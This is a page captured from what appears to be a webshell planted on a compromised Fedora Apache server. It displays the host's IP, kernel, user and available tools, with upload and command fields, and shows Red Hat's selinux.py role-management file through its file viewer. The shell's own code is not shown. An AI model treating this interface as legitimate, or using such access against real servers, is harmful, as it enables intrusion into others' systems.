403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-users/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-users/selinux.py
# -*- coding: utf-8 -*-
#
# selinux.py - event handling code for selinux properties in
#              system-config-users
# Copyright © 2003 - 2007 Red Hat, Inc.
# Copyright © 2003 Dan Walsh <dwalsh@redhat.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, see <http://www.gnu.org/licenses/>.
#
# Authors:
# Dan Walsh <swalsh@redhat.com>
# Brent Fox <bfox@redhat.com>
# Nils Philippsen <nils@redhat.com>

import gtk
import gobject
import commands
import string
class properties:
    def __init__(self, parent, xml):
        self.rolesCheckbox = xml.get_widget('rolesCheckbutton')
        self.availableRolesTreeView = xml.get_widget('availableRolesTreeview')
        self.setupTreeview(self.availableRolesTreeView,self.addRole)

        self.selinux_enabled = (self.initAvailableRoles() == 0)
        if not self.selinux_enabled:
            self.rolesCheckbox.set_active(False)
            self.rolesCheckbox.set_sensitive(False)
        self.assignedRolesTreeView = xml.get_widget('assignedRolesTreeview')
        self.setupTreeview(self.assignedRolesTreeView,self.removeRole)
        
        self.addRoleButton = xml.get_widget('addRoleButton')
        self.addRoleButton.connect("clicked", self.addRole)
        self.removeRoleButton = xml.get_widget('removeRoleButton')
        self.removeRoleButton.connect("clicked", self.removeRole)
        self.rolesCheckbox.connect("toggled", self.toggled_roles)
        self.toggled_roles(self.rolesCheckbox)

    def init(self,user):
        model=self.assignedRolesTreeView.get_model()
        model.clear()
        (status,msg)=commands.getstatusoutput("seuser show users %s" % user)
        if status==0:
            self.rolesCheckbox.set_active(True)
            rolestring=msg.strip().split(":")[1]
            roles=rolestring.split()
            roles.sort()
            for role in roles:
                iter = model.append()
                model.set (iter, 0, role)
        else:
            self.rolesCheckbox.set_active(False)
        
    def initAvailableRoles(self):
        model = self.availableRolesTreeView.get_model ()
        out=commands.getstatusoutput("seuser show roles")
        if out[0]==0:
            for i in out[1].split():
                iter = model.append()
                model.set (iter, 0, i)
            self.availableRolesTreeView.get_selection ().select_path ((0,))
        return out[0]
        
    def addRole(self,*args):
        result = self.availableRolesTreeView.get_selection().get_selected()
        if result != None:
            (model, iter) = result
            if iter != None:
                role = model.get_value (iter, 0)
                model=self.assignedRolesTreeView.get_model()
                roles=self.getRoles()
                if role not in roles:
                    iter = model.append()
                    model.set (iter, 0, role)
            
    def getRoles(self):
        if not self.selinux_enabled:
            return []
        m=self.assignedRolesTreeView.get_model()
        l=[]
        def getList(model, path, iter, text):
            l.append(model.get_value(iter,0))
        m.foreach (getList, None)
        return l
                     
    def saveRoles(self,user, roles):
        if not self.selinux_enabled:
            return (0,"")
        if len(roles) == 0:
            return commands.getstatusoutput("seuser delete -N %s" % (user))
            
        r= string.join(roles,",")
        result=commands.getstatusoutput("seuser change -N -R %s %s" % (r, user))
        if result[0] != 0:
            result=commands.getstatusoutput("seuser add -N -R %s %s" % (r, user))
        return result
    
    def removeRole(self,*args):
        result = self.assignedRolesTreeView.get_selection().get_selected()
        if result != None:
            (model, iter) = result
            if iter != None:
                model.remove (iter)
                
        
    def setupTreeview(self,tv,activateFunc):
        model = gtk.ListStore (gobject.TYPE_STRING)
        tv.set_model (model)
        column = gtk.TreeViewColumn (None, gtk.CellRendererText(), text=0)
        tv.append_column (column)
        model.set_sort_column_id(0, gtk.SORT_ASCENDING)
        tv.connect("row_activated",activateFunc)
        
    def toggled_roles(self, data):
        active=data.get_active();
        self.availableRolesTreeView.set_sensitive(active)
        self.assignedRolesTreeView.set_sensitive(active)
        self.addRoleButton.set_sensitive(active)
        self.removeRoleButton.set_sensitive(active)
        
    def enabled(self):
        return self.selinux_enabled
        

Youez - 2016 - github.com/yon3zu
LinuXploit